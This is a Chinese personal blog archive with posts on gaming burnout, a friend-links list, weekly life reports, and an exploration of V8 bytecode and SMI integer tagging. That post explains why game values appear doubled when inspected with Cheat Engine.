Sun, 10 Sep 2023 00:00:00 GMT

如何克服内心的恐惧——从电子阳痿说起

4-6月基本处于电子阳痿状态，简单来说就是所有游戏都提不起兴趣，觉得自己一眼就看透了游戏的玩法，也没有什么新鲜感,，进入游戏后只想着快点完成任务，遇到一点点解谜的困难、或者游戏里迷路了恨不得马上退出

连接手柄，打开游戏，似乎就已经耗费了我所有的心力。看到游戏加载界面的时候就已经产生了无数种想要逃离的冲动。当真正进入游戏的时候，只要遇到一点困难，就会觉得心力憔悴，似乎找到了一个绝佳的逃跑借口

不过我最近已经逐渐脱离这种感觉了，看到谈论电子阳痿，吐槽游戏同质化严重的文章、视频很多，反倒是如何克服电子阳痿的很少

那就来回顾下吧，我是如何克服电子阳痿的

“该死的”XGP

首先还是要感(吐)谢(槽)一下XGP，我觉得这是我连续几个月也都没打游戏的罪魁祸首

不得不说，在我入坑XBOX之后，XGP会员提供的游戏实在是太多了🥹，多到我都已经失去了探索的动力。配合上XBOX的Quick Resume，我10分钟内能连着切换好几个不同的游戏，p5r boos打不过去了，就切到地平线开会车，开车累就了切到fifa踢会球，再切到脑航员继续探索

看上去画面很美好，但实际上，不断地切换游戏实际上严重浪费着我的精力，RPG类游戏有一个特点，就是需要不断地在游戏中探索，持续深入才能不断刺激多巴胺。而车枪球类游戏，则基本是开一局，立马就能快速获得多巴胺。这恐怕也就是XBOX特别适合玩车枪球的原因了吧

于是XBOX逐渐就沦为了地平线、fifa、光环的启动器了🤣

但是当我某一天发现，我在XGP上看简介都提不上兴趣的游戏，在steam则是好评如潮，并且是我看了一定要加愿望单购买，然后爽玩的游戏

究其原因，还是在于XBOX商店的这些游戏，社区建设实在是太烂了，只看游戏简介完全提不起兴趣

我曾经得出过一个结论，任何产品，只有你参与到社区，真正在其中发表内容，与他人互动，才算融入其中，比如xlog（没注册xlog发表文章的你还在等什么呢🐶

一个缺失了社区的平台，让人觉得枯燥没有生机，熟悉感

反观steam，玩家的评价，简介，视频，直播（虽然不一定去看）等，都让你深切的感受到，这是一个有意思的社区，这是一款有意思的游戏

还有另外一个结论，是以前在某本书上看到的，即，文学作品的有三重理解境界，即作者写作时的理解，读者阅读时的理解，读者的理解反哺作者的理解，其实放在电子游戏上也是这样

我们在可以在饥荒里重现桃花源记的静谧，让本充满凶险的未知世界也变得岁月静好，在hifi rush中跟随音乐舞动，带领伙伴们打败大反派，在p5r中重回高中时代，经历一场甜美的恋爱，在末日美国中经历生存的危机，感受伴侣的信任

这才是游戏的魅力，是我们玩游戏的最初动力

认识多巴胺

上文提到了多巴胺，这里当然还是推荐去阅读《贪婪的多巴胺》这本书了，书中的定义如下：

这种对“下一个”的期待和痴迷叫作“奖赏预测误差”。我们每时每刻都在预测将要发生的事：盲盒里面是什么，下一个短视频是什么，会不会收到生日惊喜…… 实际发生的事只要好于我们的预期，就会触发一种物质行动起来。这种物质的分泌不是源于“快乐”本身，而是预期之外的好消息带来的兴奋感。这就是多巴胺，它是我们体内种植的原始动力。美国精神病学家丹尼尔·利伯曼更是在《贪婪的多巴胺》中直言：“没有多巴胺，你就不会努力。”

克服电子阳痿，其实本质上是我们对于游戏内要发生的事情已经有了预知，或是知道这个关卡的boss很难打，或是知道玩法是相同的，或是缺少自由活动的空间。

但，玩游戏是可以通过多种方式来获取多巴胺的，而我经常狭隘地理解为，只有新鲜感才是，只要新鲜感一过，那么就认为是在游戏内打工，坐牢，从而极度痛苦

那么有哪些办法可以去探索新的未知呢？我总结了几个：

学会分析游戏

比如我最喜欢的卡牌肉鸽游戏《杀戮尖塔》，背后的组牌学问就有很多，什么时候该丢弃卡牌，什么时候该升级卡牌，配合哪些遗物，选择拿条路线

再比如klei的《缺氧》，这简直堪比理科生梦寐以求的伴侣（奇怪的比喻增加了🤣），游戏内容庞大到需要时刻查看wiki，类似的还有文明六，其4X游戏的设计理念，Gamker都有很好的分析，当你了解到游戏背后的设计时，你也会被策划的脑洞所惊叹，游戏中某些不起眼的细节，如《最后生还者2》里穿衣服的动作，你才知道原来开发成本居然这么大

刷成就

我以前其实对成就是没有任何感冒的，玩个游戏就好了，成就更像是一种可有可无的添头，至于要刻意去刷成就，对我来说简直是不可想象的

但是当我真正关注到成就的时候，我才发现很多成就其实很有意思（当然不排除有些成就设计的很沙雕）

根据多巴胺的理论，让自己始终保持新鲜感，所以成就其实不失为一种小阶段的目标，当你看到一个隐藏成就被自己发现，努力直至解锁的过程。你就能意识到，原来成就系统似乎也不再是添头了，而是一种类似里程碑的存在。

顺带吐槽下Switch居然没有成就系统！😅

看攻略

不要害怕找攻略会剧透游戏，找攻略本身就是游玩的一环

玩单机游戏的过程，有时候很像是在做阅读理解题目，你的想法和出题人的想法往往不能很好地重合

所以就经常出现，啊这个说明是什么意思？这个引导是在干嘛？当遇到这类困难的时候，会带个我们深深的挫败感

但是我们又往往害怕找攻略，觉得会损害自己的游戏体验。

其实何必呢，优秀的游戏哪怕就是剧透了，你后续在自己尝试的过程中，也能体会到这个游戏背后的思考与传达的主题，更何况一千个读者还有一千个哈姆雷特呢

所以不用担心，遇到过不去的关卡就大胆的寻找别人的攻略吧

适当“云”游戏

这里当然不是指名词上的云游戏，而是指作为一个云玩家，去云一款游戏

我最开始是讨厌云玩家的（貌似对这类人的风评也一直都很差）

但其实，你可以尝试去云一下，当发现别人玩的很糟糕，或者是弹幕中飘过一段很吸引你的文字时，你也会有一种想要去玩游戏的动力了（好想玩博德之门3啊😭）

写在最后

其实以上的所有办法，本质上还是依靠一定的好奇心与自驱力去探索的，最大的前提其实是保持充足的精力。只有精力充沛，才能让多巴胺的刺激时刻有效

最后的最后

如果继续扩展，其实所有的事情，不都是这样吗，只有当你开始转变思路，重新发现其中蕴藏的意义，探索，驱动，奖励，多巴胺就开始起作用了

工作、学习、生活、恋爱、社交，这一切的一切，都是如此，借用《被讨厌的勇气》这本书所说的：

你由于太惧怕人际关系所以才会变得讨厌自己，你是在通过自我厌弃来逃避人际关系不愿意为了改变自我而牺牲目前所享受的乐趣——比如玩乐或休闲时间。也就是拿不出改变生活方式的“勇气”，

你不是因为恐惧而不敢去做，那只不过是你的借口，你要拿出的是改变思路、转换视角、重新发现的“勇气”

友链

Wed, 06 Sep 2023 00:00:00 GMT

友链

<ul class="links"> <li style="background-image:url(https://ucarecdn.com/31466e3e-7b33-4155-a537-90f9c2d78956/diygodme_crop.jpg)"> <a href="https://diygod.me" target="_blank"> <div> <i class="round" style="background-image:url(https://icon.ssh.town/diygod.me)"></i> <p>DIYgod</p><span>写代码是热爱，写到世界充满爱！</span> </div></a> </li>

<li style="background-image:url(https://blog.wangyunzi.com/cover/claude-monet.jpg)"> <a href="https://mx.sb/" target="_blank"> <div> <i class="round" style="background-image:url(https://mx.sb/_next/image?url=https%3A%2F%2Fipfs.4everland.xyz%2Fipfs%2Fbafkreide6getomj3vlnqtfc5kcoozjnndepyqrtfoyfirqjb3wsrnds6my&w=256&q=75)"></i> <p>365cent</p> <span>Nothing creative</span> </div> </a> </li>

<li style="background-image:url(https://www.hdwallpapers.in/thumbs/2022/galaxy_nebula_blue_glow_stars_space_black_sky_night_hd_space-t2.jpg)"> <a href="https://dsh.xlog.app/" target="_blank"> <div> <i class="round" style="background-image:url(https://cdn.discordapp.com/avatars/1094303063273115769/fbb67d91de242963db2463ab8c28fe80.webp?size=128)"></i> <p>DDDDDSH</p> <span>生活· 美学 · 艺术 · 想法</span> </div> </a> </li>

</ul>

从一个问题引发的JS内存探索

Mon, 28 Aug 2023 00:00:00 GMT

从一个问题引发的JS内存探索

标题其实不太恰当，先这样吧

从一个内存规律说起

起因是在研究微信小游戏的时候，发现网上一直流传着一个规律，即游戏内数值 * 2 = 内存数值

比如： CE游戏内存修改-爱神花园

这个两倍确实有点令人费解，按照我对编译原理的理解，代码最后变为汇编代码的过程中，虽然会经过常量折叠等操作，但代码中数值是多少，实际内存中的数值也就是那个，比如我们通过CE来修改植物大战僵尸，代码中并未对阳光数值做加密，因此直接搜索数值就可以定位到： [re入门]ce对植物大战僵尸的修改

如果是游戏做了数值的变化还好说，但是实际游戏代码里是并未去做这类操作的（要做这个操作也不至于简单地做个2倍乘法吧🤔）

由此作为因子，开始研究JS的内存问题

v8引擎

本质上微信小程序代码也是跑在v8引擎上的，于是开始好奇JS代码是怎么一步步变为汇编代码的

我以为node.js就是v8，毕竟node.js也是基于v8移植的嘛，但发现两者还是有区别的。v8 本身是提供了一个shell的，这个才是最原汁原味的

本地可以编译一个v8 shell

步骤参考：https://gist.github.com/Becavalier/58da63744f255abe5717e23dacc673e5

 下载二进制工具
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

source ~/.bash_profile

 新建一个想要安装v8的目录
gclient

fetch v8
cd v8
gclient sync
tools/dev/v8gen.py x64.optdebug
ninja -C out.gn/x64.optdebug 

 最后获得d8的安装路径
/path/chromev8/v8/out.gn/x64.optdebug/d8

v8 是怎么编译执行JS代码的？

基本原理还是那套，词法解析->语法解析->中间代码生成等

不过v8还做了很多优化，即 ignition 与 turbofan ，但这些都不在本次讨论范围内

从图中可以看到，最后的结果就是 bytecode，那么这个bytecode长什么样子？

写一段代码做测试：

function test( obj ) {
  return obj.money + 10;
}

class UserData {
  constructor( money, power ) {
    this.money = money;
    this.power = power;
  }
}
u = new UserData(50, 100);
console.log(u.money, u.power);
for(let i = 0; i < 100000000; i++){
  test( u );
}

打印字节码

d8  -print-bytecode test1.js

我这里就把完整的字节码放上来了：

[generated bytecode for function:  (0x35e90011ae01 <SharedFunctionInfo>)]
Bytecode length: 131
Parameter count 1
Register count 7
Frame size 56
         0x35e90011afec @    0 : 13 00             LdaConstant [0]
         0x35e90011afee @    2 : c3                Star2
         0x35e90011afef @    3 : 19 fe f7          Mov <closure>, r3
         0x35e90011aff2 @    6 : 65 68 01 f8 02    CallRuntime [DeclareGlobals], r2-r3
         0x35e90011aff7 @   11 : 82 01             CreateBlockContext [1]
         0x35e90011aff9 @   13 : 1a f8             PushContext r2
         0x35e90011affb @   15 : 10                LdaTheHole
         0x35e90011affc @   16 : bf                Star6
         0x35e90011affd @   17 : 81 03 00 00       CreateClosure [3], [0], 0
         0x35e90011b001 @   21 : c2                Star3
         0x35e90011b002 @   22 : 13 02             LdaConstant [2]
         0x35e90011b004 @   24 : c1                Star4
         0x35e90011b005 @   25 : 19 f7 f5          Mov r3, r5
         0x35e90011b008 @   28 : 65 2a 00 f6 03    CallRuntime [DefineClass], r4-r6
         0x35e90011b00d @   33 : 1b f8             PopContext r2
         0x35e90011b00f @   35 : 0b f5             Ldar r5
         0x35e90011b011 @   37 : 25 02             StaCurrentContextSlot [2]
         0x35e90011b013 @   39 : 16 02             LdaCurrentContextSlot [2]
         0x35e90011b015 @   41 : c3                Star2
         0x35e90011b016 @   42 : 0d 32             LdaSmi [50]
         0x35e90011b018 @   44 : c2                Star3
         0x35e90011b019 @   45 : 0d 64             LdaSmi [100]
         0x35e90011b01b @   47 : c1                Star4
         0x35e90011b01c @   48 : 0b f8             Ldar r2
         0x35e90011b01e @   50 : 69 f8 f7 02 00    Construct r2, r3-r4, [0]
         0x35e90011b023 @   55 : 23 04 02          StaGlobal [4], [2]
         0x35e90011b026 @   58 : 21 05 04          LdaGlobal [5], [4]
         0x35e90011b029 @   61 : c2                Star3
         0x35e90011b02a @   62 : 2d f7 06 06       GetNamedProperty r3, [6], [6]
         0x35e90011b02e @   66 : c3                Star2
         0x35e90011b02f @   67 : 21 04 08          LdaGlobal [4], [8]
         0x35e90011b032 @   70 : c1                Star4
         0x35e90011b033 @   71 : 2d f6 07 0a       GetNamedProperty r4, [7], [10]
         0x35e90011b037 @   75 : c1                Star4
         0x35e90011b038 @   76 : 21 04 08          LdaGlobal [4], [8]
         0x35e90011b03b @   79 : c0                Star5
         0x35e90011b03c @   80 : 2d f5 08 0c       GetNamedProperty r5, [8], [12]
         0x35e90011b040 @   84 : c0                Star5
         0x35e90011b041 @   85 : 5f f8 f7 f6 f5 0e CallProperty2 r2, r3, r4, r5, [14]
         0x35e90011b047 @   91 : 0c                LdaZero
         0x35e90011b048 @   92 : c4                Star1
         0x35e90011b049 @   93 : 0e                LdaUndefined
         0x35e90011b04a @   94 : c5                Star0
         0x35e90011b04b @   95 : 01 0d 00 e1 f5 05 LdaSmi.ExtraWide [100000000]
         0x35e90011b051 @  101 : 6d f9 10          TestLessThan r1, [16]
         0x35e90011b054 @  104 : 9a 18             JumpIfFalse [24] (0x35e90011b06c @ 128)
         0x35e90011b056 @  106 : 21 09 11          LdaGlobal [9], [17]
         0x35e90011b059 @  109 : c3                Star2
         0x35e90011b05a @  110 : 21 04 08          LdaGlobal [4], [8]
         0x35e90011b05d @  113 : c2                Star3
         0x35e90011b05e @  114 : 62 f8 f7 13       CallUndefinedReceiver1 r2, r3, [19]
         0x35e90011b062 @  118 : c5                Star0
         0x35e90011b063 @  119 : 0b f9             Ldar r1
         0x35e90011b065 @  121 : 50 15             Inc [21]
         0x35e90011b067 @  123 : c4                Star1
         0x35e90011b068 @  124 : 8a 1d 00 16       JumpLoop [29], [0], [22] (0x35e90011b04b @ 95)
         0x35e90011b06c @  128 : 0b fa             Ldar r0
         0x35e90011b06e @  130 : aa                Return
Constant pool (size = 10)
0x35e90011af9d: [FixedArray] in OldSpace
 - map: 0x35e900000089 <Map(FIXED_ARRAY_TYPE)>
 - length: 10
           0: 0x35e90011ae71 <FixedArray[2]>
           1: 0x35e90011ae55 <ScopeInfo CLASS_SCOPE>
           2: 0x35e90011af79 <FixedArray[7]>
           3: 0x35e90011aebd <SharedFunctionInfo UserData>
           4: 0x35e900002b85 <String[1]: u>
           5: 0x35e9000044a9 <String[7]: console>
           6: 0x35e900311cad <String[3]: log>
           7: 0x35e90011adc5 <String[5]: money>
           8: 0x35e90011add9 <String[5]: power>
           9: 0x35e900310aed <String[4]: test>
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: UserData (0x35e90011aebd <SharedFunctionInfo UserData>)]
Bytecode length: 14
Parameter count 3
Register count 0
Frame size 0
         0x35e90011b1f8 @    0 : 0b 03             Ldar a0
         0x35e90011b1fa @    2 : 32 02 00 00       SetNamedProperty <this>, [0], [0]
         0x35e90011b1fe @    6 : 0b 04             Ldar a1
         0x35e90011b200 @    8 : 32 02 01 02       SetNamedProperty <this>, [1], [2]
         0x35e90011b204 @   12 : 0e                LdaUndefined
         0x35e90011b205 @   13 : aa                Return
Constant pool (size = 2)
0x35e90011b1c9: [FixedArray] in OldSpace
 - map: 0x35e900000089 <Map(FIXED_ARRAY_TYPE)>
 - length: 2
           0: 0x35e90011adc5 <String[5]: money>
           1: 0x35e90011add9 <String[5]: power>
Handler Table (size = 0)
Source Position Table (size = 0)
50 100
[generated bytecode for function: test (0x35e90011ae81 <SharedFunctionInfo test>)]
Bytecode length: 8
Parameter count 2
Register count 0
Frame size 0
         0x35e90011b374 @    0 : 2d 03 00 01       GetNamedProperty a0, [0], [1]
         0x35e90011b378 @    4 : 44 0a 00          AddSmi [10], [0]
         0x35e90011b37b @    7 : aa                Return
Constant pool (size = 1)
0x35e90011b349: [FixedArray] in OldSpace
 - map: 0x35e900000089 <Map(FIXED_ARRAY_TYPE)>
 - length: 1
           0: 0x35e90011adc5 <String[5]: money>
Handler Table (size = 0)
Source Position Table (size = 0)

对于初次接触这个字节码的人来说，肯定是要花点时间才能理解清楚的，所以我们直接丢给chatGPT，看看它能不能复原出原来的代码：

以下回答出自GPT4

这段字节码表示了一段更复杂的JavaScript代码。让我们一步一步地分析它。

主函数字节码

常量池：

其他固定数组和元数据
ScopeInfo for Class (类的范围信息)
其他固定数组和元数据
UserData 的共享函数信息
字符串 u
字符串 console
字符串 log
字符串 money
字符串 power
字符串 test

分析：

定义一个类UserData，它有两个属性：money和power。
创建一个UserData实例，传入参数 50 和 100 作为 money 和 power 的初始化值。
将这个实例赋值给变量 u。
调用 console.log(u.money, u.power)。
创建一个循环，循环次数为100000000，在循环内部调用函数 test，使用 u 作为参数。

UserData构造函数字节码

分析：

设置this.money为传入的第一个参数。
设置this.power为传入的第二个参数。

test函数字节码

分析：

从传入的对象中获取 money 属性。
将获取到的值加10。
返回这个结果。

复原后的JavaScript代码：

class UserData {
    constructor(money, power) {
        this.money = money;
        this.power = power;
    }
}

let u = new UserData(50, 100);
console.log(u.money, u.power);

function test(obj) {
    return obj.money + 10;
}

for (let i = 0; i < 100000000; i++) {
    test(u);
}

这就是根据给定的字节码复原的JavaScript代码。

GPT4也太牛了🥹，完美取代我吧

整体的字节码还是很好理解的，多看几遍，结合对应的指令格式不难分析出来。

并且可以看到这两条指令，这就很类似汇编指令里去mov一个数值，所以这个数值一定是原封不动地保留在内存数据里的

         0x35e90011b016 @   42 : 0d 32             LdaSmi [50]

         0x35e90011b019 @   45 : 0d 64             LdaSmi [100]

因为v8运行时并没有 setInterval （也很神奇了），于是直接在d8的shell里做这个实验：

可以很清晰地定位到，内存数值就是实际运行时数值的两倍（2474 = 1237 * 2）

修改内存，此时的数值就直接发生变化了

对比node.js

既然如此，那就来看看node.js

自定义的类

同样的代码，在node.js的shell中运行，实例化一个对象 user，可以看到我设置了 user.money 为一个很奇怪的数值，目的是保证内存中不会出现重复的数值（虽然还是重复了三个）那就将这三个数值都修改了，效果也很明显，修改完之后，user.money 的数值就变化了

那也不存在什么两倍关系啊？🤔 这不是很正常的，定位到数值后直接修改就好了

内置的类

自定义的类，对应的数值是可以直接搜索到的，那么node.js提供的类会不会不一样呢，找个Map做下测试

class UserData {
    constructor(money, power) {
        this.test_map =new Map();
        this.test_map.set('money', money);
        this.test_map.set('power', power);
    }
}

通过CE还是可以定位到：

并且也能修改：

对比浏览器

后知后觉，才意识到chrome的开发者工具中有一个可以拍摄内存快照的工具，主要是用来排查内存泄漏原因的，不过对于内存布局的研究也很方便

chrome Memory面板

我们可以编写一段示例代码：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
<script>
var _____testArray_____ = [{value: 'hello'}, {money: 9999} ];
console.info(_____testArray_____);
</script>
</html>

拍摄内存快照，点击获取快照即可拍摄下当前的快照

在当前页面直接按下 cmd + F (对应Windows应该是 ctfl+ F ，可以在底部打开搜索窗口

因为我们的代码中出现了 hello 字符串，因此直接搜索之，搜到之后，右键在摘要视图中显示，就可以定位到对应的构造函数了

从内存结构上看，

即：

hello 字符串 @17037（可以理解为一段内存的标识符）
- 存储在 Object@92971 （对应 {value: ;'hello'}）
  - Obj又作为数组，存储在 Array@92961（对应 [{value: 'hello'} ])
    - 数组存储在 testArray这个变量中，由于是全局变量，因此对应到 Window@92867 上

这也对应了通过 var 声明的变量是直接挂载在 Window对象的属性上

什么是smi？

如果你足够眼尖，应该就能发现，数字9999被标记上了smi number

以下是GPT4给出的回答：在 JavaScript 的 V8 引擎（主要用于 Google Chrome 和 Node.js）中，SMI（Small Integer）是一种特殊的整数表示方式。这种表示方法主要用于性能优化。SMI 是一种“标记”整数类型，其中一部分位用于存储实际的整数值，而其他位则用于标记这个数字为 SMI 类型。具体的实现可能依赖于具体的平台和环境，但在一个典型的 64 位系统上，一个 SMI 可能会使用 31 位来表示整数值，而剩下的位则用于其他目的，如垃圾收集标记、类型信息等。因为使用了这些额外的位，所以 SMI 能表示的整数范围会比通常的 32 位或 64 位整数要小。

从GPT给出的回答来看，一个SMI会使用31位来表示整数值，剩余的1位则用于其他目的，那不正好相当于是数据左移了一位！也就是文章开头提到的内存规律

但还遗留了一个问题，即node.js为什么没有用SMI？至少从上述测试来看，node.js就是直接存的。

GPT对此也没给出很好的回答，只能猜测node.js背后对v8做了一些魔改吧🤣

参考

How V8 JavaScript engine works step by step [with diagram] 这篇可以加深对v8引擎的理解，有丰富的流程图
V8 Internals: How Small is a “Small Integer?” 理解smi

周报13 你，还有一支笔

Mon, 28 Aug 2023 00:00:00 GMT

周报13 你，还有一支笔

这里记录的是raye在2023.8.21~2023.8.27的生活与思考

上周也是有些心里憔悴，导致睡眠加工作效率都不太行，索性周末开始了躺平之旅，每天上午打完羽毛球后就做点自己想做的，好好放松下（尽管实际效果也并不是很好）。

周六下午继续在熟悉xlog的源码，感受到了后端和前端开发思路的差异🥹，pr还没完善好，需要再继续分析下，顺带也想写篇文章解读下源码。周日下午则去参加了另外一个BG的读书会，主讲人分享的是《霍乱时代的爱情》，也算是第一次来参加公司线下组织的读书会，本来笔名应该要文雅一点的，结果就很简单的用了raye这个英文名😅。不过和书友们交流的还是很开心，也计划着做下一次分享的主讲人，目前还在思考要分享哪本书

周末飞速读完了《克莱因壶》，确实是一本很棒的小说，主人公体验了vr游戏之后，渐渐分不清现实和虚拟，有点像盗梦空间，不知道诺兰是否盗用了这个构思呢🤔

本周最重要的事情则是开始重新整理自己以前的博客文章，重新拾起几年前的记忆

曾经的我以为，总要抛弃过往，总要告别时光，总要挥泪离别，总要不断向前

如果蓝天可以忘记白云的拂拭，如果老树可以忘记黄鹂的啭歌如果海浪可以忘记岸边的拥吻，如果夜空可以忘记繁星的闪烁如果丹青可以忘记笔尖的流转，如果砚台可以忘记墨水的浸染

可惜这只是如果，我还是太高估了自己，有些留下的记录终究是舍不得的

这周突然怀念起自己以前写的文章，因为种种原因（比如误删了Github仓库🥲，sb操作）都不见了

张晓风老师曾提到她曾经在机场柜台填单的时候，随声携带的包包被偷了。当她察觉过来才意识到发生了什么，虽然沮丧，但那一瞬间，有个念头突然涌现出来：

"你，还有一支笔"

是为本周报序

📝旧博客迁移

虽然序言里提到文章都丢失了，不过幸好以前做了多备份，在gitee、coding平台上都找到了我的存档！太激动了（尽管md源文件已经丢失，但至少静态的HTML还留着，图片也都未丢失）

借此机会，重新整理了一下我的写作经历：

2018.11.20 以"萍水间人"的身份在简书第一篇文章《Gephi分析红楼梦》总计写了160篇文章，字数8.1k，最后停更时间在2023年2月17日
2019.02.07 hexo博客搭建主题NexT 第一篇文章《bugku web题目的wp》，总共写了74篇文章，字数未知，最后停更时间在2019年10月20日
2020.01.30 hexo博客，主题更换为Butterfly 第一篇文章《XXE复习》，总共写了87篇文章，字数66.5k。最后停更时间在2020年6月6日
2023.4.3 正式成为一名xlogger，发表第一篇文章《周报1 羽毛球、聚会、句子》，目前还在写作中，希望这个停更时间是无限长😃 算下来，从2018年开始，总共写了321篇文章，总字数怎么也得破百万了吧哈哈哈哈🤣

部分截图如下，虽然都只剩静态的HTML页面了，不过我还是打算找个时间将其都部署出来，也算是一种留念了吧

找回文章的那一刻，就感觉找到了一位失散多年的亲人，于是准备把以前的文章都精选出来，并且重新加工下，搬运到xlog上，目前还在缓慢进行中

除此之外，怎么将文章翻译文英文也是我一个比较头疼的问题，虽然过了六级，但英语水平其实还是很一般。不过很快就发现，沉浸式翻译这个工具也太好用了，结合Deepl翻译或者OpenAI的体验是真的棒，翻译的文章我自己都看不懂了，很接近原生的英语表达。

比如我将自己上周的周报翻译成了英文版，放在medium上，

Weekly Report 12: Traveler on the road, why not take a break and enjoy the journey?

唯一的缺点就是价格太高，但是我的OpenAI免费用量已经到期了，如果想要用自己的API token就得重新注册个账号🫠。懒得折腾，就当支持下沉浸式翻译插件了🤣

👨🏻‍💻开源与xlog

本来想着给xlog开发一个评论置顶功能应该挺简单的，但我低估从后端到前端思路转变的难处了

尤其是对react hooks的理解，本来以为自己懂了懂了，马上就能用了！结果写起来还是要花很长的时间去思考，同时又发现自己遗漏了很多要点

等我慢慢来熟悉前端的东西吧，奔着目标去总能解决的

📚阅读 & 🎧播客

记录下本周看过的一些书

《在森崎书店的日子》对这类书名似乎都有一种说不出的喜欢，给人一种摆脱了世俗，外加小清新感的故事但不足之处在于，故事情节的引子推动让人觉得不是那么可信，有些为了推动而推动。不过这本书更关注的其实是主人公的内心的变化，算是唯一的一点瑕疵了
《克莱因壶》序言提到了，推荐，一两个小时就能看完

记录本周听过的一些播客

275. 离开看理想之后，我去深圳围观"搞钱" 第一次听说其他地方的人对深圳打工人睡午觉这么惊讶，真的好好玩哈哈哈哈 😆
《长安三万里》背后的历史更精彩
No.35 和活力满满的拾一Innei 聊前端 React 技术选型、博客开发和生活的确幸
vol.150｜徐英瑾：历史小说是倒向的思想实验播客种推荐了一本书，《坚：三国前传之孙坚匡汉》，从另一个视角去看三国，挺吸引我这个历史迷的

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

周报12 赶路人，何妨走走停停

Sun, 20 Aug 2023 00:00:00 GMT

周报12 赶路人，何妨走走停停

周报给予一我种心流，在这种近似于修禅的状态下，整理回顾自己的平淡无奇的生活，就像在小孩子在描摹一张五彩斑斓的画。

就像一只飞久了会累的鸟儿，也要找个栖息地去饮泉进食。本周也体会到了压力过大带来的痛苦，入眠后感觉那根弦也一直绷紧着，无法真正放松下来，甚至于连躺下来，静静听一下播客都成为一种奢望。仿佛只要一安静下来，就会失去什么，心中总是焦躁不安，于是只好开始半强迫自己，闭合双眼，进入到一种意识流的思想状态。张晓风曾经在《我的幽光实验》中提到，她喜欢黑暗的晚上，关上房间里的灯光，独处于黑暗之中，仿佛宇宙成为了一把巨大的天平，幽光在彼端，与之对坐，相顾无言，唯有静静享受这一小段摆脱了快节奏生活的安心与静好。

许是个性使然，内心总是很急，步履总是匆匆，眼神总是在搜寻。吃东西一定要很快速的吃完，写文章一定要马上就写完并发布出来，看电视剧恨不得跳过无用的对话，立马就知晓结局。并非沉不下心来，只是内心在恐惧，错过了此刻，就无法再去经历。

工作久了，心态也渐渐发生了很多变化，开始越来越唯结果论，不再去关注当下的过程，缺少对过程的回顾。仿佛结果到位了，什么都是好的。之前看了Randy的文章，也曾幻想过去泰国修禅，去冥想，去好好学习如何休息。后来一想何必这么折腾呢，此刻在写周报时，慢慢体味这一刻键盘的敲击声，耳机中传来音乐的每一个节拍，窗外一束阳光照射下来，随风飘舞的一粒灰尘。怪到，张岱的《湖心亭看雪》能让人拍案叫绝，

天与云与山与水，上下一白。湖上影子，惟长堤一痕、湖心亭一点、与余舟一芥、舟中人两三粒而已

文字记录的美好，也终究会被现实所打破。试想，乘兴而来，数九寒冬，江面行舟，尽管拥拥毳衣炉火，但侵人的寒气可想而知。还好这一程并未让人失望，湖中焉的更有此人！

最喜欢张晓风这一句，

我是个赶路人，却总是忍不住贪看山色

赶路人，何妨走走停停呢

是为本周报序

💭 杂念

本周值得一提的是Apple Fitness给我设立的8月健身目标：连续14天，每天锻炼时间超过110分钟

最开始还觉得这是不是稍微过分了，结果现在已经完成了12次了，8月平均每天锻炼时间达到125min

其实运动是经常保持的，羽毛球、跑步、HIT等等，但体重却一直没降下来，估摸着还是太爱吃主食了。本周又开始坚持重新跳绳了，目标有二，其一因为相信跳绳是减肥的最好方式，10min不到就能消耗100卡；其二是训练打羽毛球时的体力与跳跃能力

最近也开始对政治感兴趣了，在这之前是没太去管这些的，对于历史的思考点更多集中在军事、人物。至于政治、合法性权威这类问题很少涉猎，但架不住内心好奇心的驱使，渐渐地理解到了政治、权力、权威、合法性等等名词。结合当下经济的不景气，也逐渐意识到了，原来历史对当代实是有一种借鉴作用，但历史的吊诡就在于，明知这件事是错误的，历史也证明了这点，但这却又是当下唯一一种最合理，最能解决办法的途径

从上周开始重新读纸质书了，似乎是为了摆脱一直被屏幕围困的生活，我需要跳出来，用一些看似退步、逃离的方式，来远离一些屏幕的围剿

📖阅读 & 🎮游戏

序言也提到了，本周过的很凌乱，并没有一个有计划的去追剧 or 阅读，倒是又重新捡起好久没玩的xbox与Apple arcade游戏，重温了游戏的乐趣，获得了很多新奇的体验。

比较眼前一亮的就是猫咪斗恶龙了（原谅我游戏玩的少），在steam上很早就加入愿望单但一直没去玩，刚好看到appstore上也有就买了

配合手柄操作还是挺好玩的，不过一如既往的手残，准备花点时间来通关下

序言提到我对历史越来越上头了，同时开始思考政权的合法性，偶然间刷到了这个视频魏蜀吴三国争天命，各有什么特色？哪家合法性更高？作者是真敢讲啊，怎么看都觉得很反动🐶

B站的这个课程我也还挺喜欢的，准备买了好好学学，思考下权力到底是什么，以及国家存在的意义等偏见看政治：李筠教授的政治学课

另外，这段话怎么看都觉得是在讽刺时政… 果然苏联笑话永不过时🤣

📝 一些值得回味的句子

主要是张晓风的句子，太喜欢她的散文了（主要是凑周报字数想不到吧😁

虽然沮丧，但一瞬间，有个念头，仿佛万道霞光破云而出。 “你，还有一支笔。”
似乎是仗了好风好日的胆子，我于是走了进去……
曾经是一段惊人的芬芳甜美，曾经装在华丽炫目的盒子里，曾经那么招人爱，曾经令人钦慕垂涎，曾经傲视同侪，曾经光华自足……而终于人生一世，善舞的，舞低了杨柳楼心的皓月；善战的，踏遍了沙场的暮草荒烟；善诗的，惊动了山川鬼神；善于众敛的，有黄金珠玉盈握……而至于他们自己的一介肉身，却注定是抛向黄土的一具盒子。
我于是憬悟到自身的庄严、灿美，原来尤胜于在深山莲花座上趺坐的石佛。
如果蓝天可以忘记白云的拂拭，如果老树可以忘记黄鹂的啭歌，你也快快忘了我那天小小的造访吧
恰如草莽布衣，一入庙堂便生机断尽
于是，时不时地，我用喷雾器把石头花盆喷得潮潮润润的。我想骗骗那石头，让它误以为自己仍住在山上，仍然日日餐霞饮露，仍是一块含烟带雨的石头。
我承认一钵一杖即可遍行天下的人固然了无牵挂，非常值得佩服，但像我这样想带着清茶以敬天下名人的人，不也挺可爱吗？

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

